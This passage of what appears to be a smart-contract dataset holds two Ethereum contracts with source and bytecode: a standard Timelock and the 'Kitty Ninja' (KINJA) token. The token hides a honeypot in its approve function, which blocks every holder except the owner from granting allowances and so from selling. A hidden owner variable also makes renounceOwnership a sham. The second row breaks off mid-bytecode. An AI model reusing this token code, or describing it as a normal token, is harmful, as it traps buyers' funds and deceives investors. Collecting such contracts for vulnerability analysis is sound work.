address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x91be9dca8ff3cbc7ef7e7f9ca8bc10682a7078a5
pragma solidity 0.5.17; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 minutes; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461073d578063e177246e14610768578063f2b06537146107a3578063f851a440146107f6576100c2565b80636a42b8f8146106bc5780637d645fab146106e7578063b1b43ae514610712576100c2565b80630825f38f146100c45780630e18b681146102c357806326782247146102da5780633a66f901146103315780634dd18bf5146104d8578063591fcdfe14610529575b005b610248600480360360a08110156100da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561012157600080fd5b82018360208201111561013357600080fd5b8035906020019184600183028401116401000000008311171561015557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101b857600080fd5b8201836020820111156101ca57600080fd5b803590602001918460018302840111640100000000831117156101ec57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061084d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102cf57600080fd5b506102d8610ece565b005b3480156102e657600080fd5b506102ef61105c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033d57600080fd5b506104c2600480360360a081101561035457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561039b57600080fd5b8201836020820111156103ad57600080fd5b803590602001918460018302840111640100000000831117156103cf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561043257600080fd5b82018360208201111561044457600080fd5b8035906020019184600183028401116401000000008311171561046657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611082565b6040518082815260200191505060405180910390f35b3480156104e457600080fd5b50610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611448565b005b34801561053557600080fd5b506106ba600480360360a081101561054c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561059357600080fd5b8201836020820111156105a557600080fd5b803590602001918460018302840111640100000000831117156105c757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561062a57600080fd5b82018360208201111561063c57600080fd5b8035906020019184600183028401116401000000008311171561065e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611575565b005b3480156106c857600080fd5b506106d16118c0565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506106fc6118c6565b6040518082815260200191505060405180910390f35b34801561071e57600080fd5b506107276118cd565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b506107526118d2565b6040518082815260200191505060405180910390f35b34801561077457600080fd5b506107a16004803603602081101561078b57600080fd5b81019080803590602001909291905050506118d9565b005b3480156107af57600080fd5b506107dc600480360360208110156107c657600080fd5b8101908080359060200190929190505050611a4c565b604051808215151515815260200191505060405180910390f35b34801561080257600080fd5b5061080b611a6c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611b226038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610980578082015181840152602081019050610965565b50505050905090810190601f1680156109ad5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109e65780820151818401526020810190506109cb565b50505050905090810190601f168015610a135780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506003600082815260200190815260200160002060009054906101000a900460ff16610aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611c75603d913960400191505060405180910390fd5b82610ab4611a91565b1015610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611bc46045913960600191505060405180910390fd5b610b216212750084611a9990919063ffffffff16565b610b29611a91565b1115610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611b916033913960400191505060405180910390fd5b60006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bc057849050610c7b565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c435780518252602082019150602081019050602083039250610c20565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610ccb5780518252602082019150602081019050602083039250610ca8565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d2d576040519150601f19603f3d011682016040523d82523d6000602084013e610d32565b606091505b509150915081610d8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d58603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e1a578082015181840152602081019050610dff565b50505050905090810190601f168015610e475780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e80578082015181840152602081019050610e65565b50505050905090810190601f168015610ead5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cb26038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611d226036913960400191505060405180910390fd5b611145600254611137611a91565b611a9990919063ffffffff16565b82101561119d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611d956049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561122957808201518184015260208101905061120e565b50505050905090810190601f1680156112565780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561128f578082015181840152602081019050611274565b50505050905090810190601f1680156112bc5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561139757808201518184015260208101905061137c565b50505050905090810190601f1680156113c45780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113fd5780820151818401526020810190506113e2565b50505050905090810190601f16801561142a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611cea6038913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461161a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611b5a6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156116a657808201518184015260208101905061168b565b50505050905090810190601f1680156116d35780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561170c5780820151818401526020810190506116f1565b50505050905090810190601f1680156117395780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118145780820151818401526020810190506117f9565b50505050905090810190601f1680156118415780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561187a57808201518184015260208101905061185f565b50505050905090810190601f1680156118a75780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b607881565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461195d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611dde6031913960400191505060405180910390fd5b60788110156119b7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611c096034913960400191505060405180910390fd5b62278d00811115611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611c3d6038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60036020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611b17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820b1baf318215c975cbe551bfe98e5368d39bac4155ad8de4615dbda70ffc640d364736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,100
0xa4b8753a1fba51205a3da3492d88763b5b99c734
/* itty Ninja $KINJA _ _____ _____ _______ __ _ _ ___ _ _ _ _ | |/ /_ _|_ _|_ _\ \ / / | \| |_ _| \| |_ | |/_\ | ' < | | | | | | \ V / | .` || || .` | || / _ \ |_|\_\___| |_| |_| |_| |_|\_|___|_|\_|\__/_/ \_\ Website: https://kittyninja.io Telegram: https://t.me/kinja_eth Twitter: https://twitter.com/kinja_eth // SPDX-License-Identifier:MIT */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract KITTYNINJA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**6* 10**18; string private _name = 'Kitty Ninja ' ; string private _symbol = 'KINJA ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473fffffffffffffffff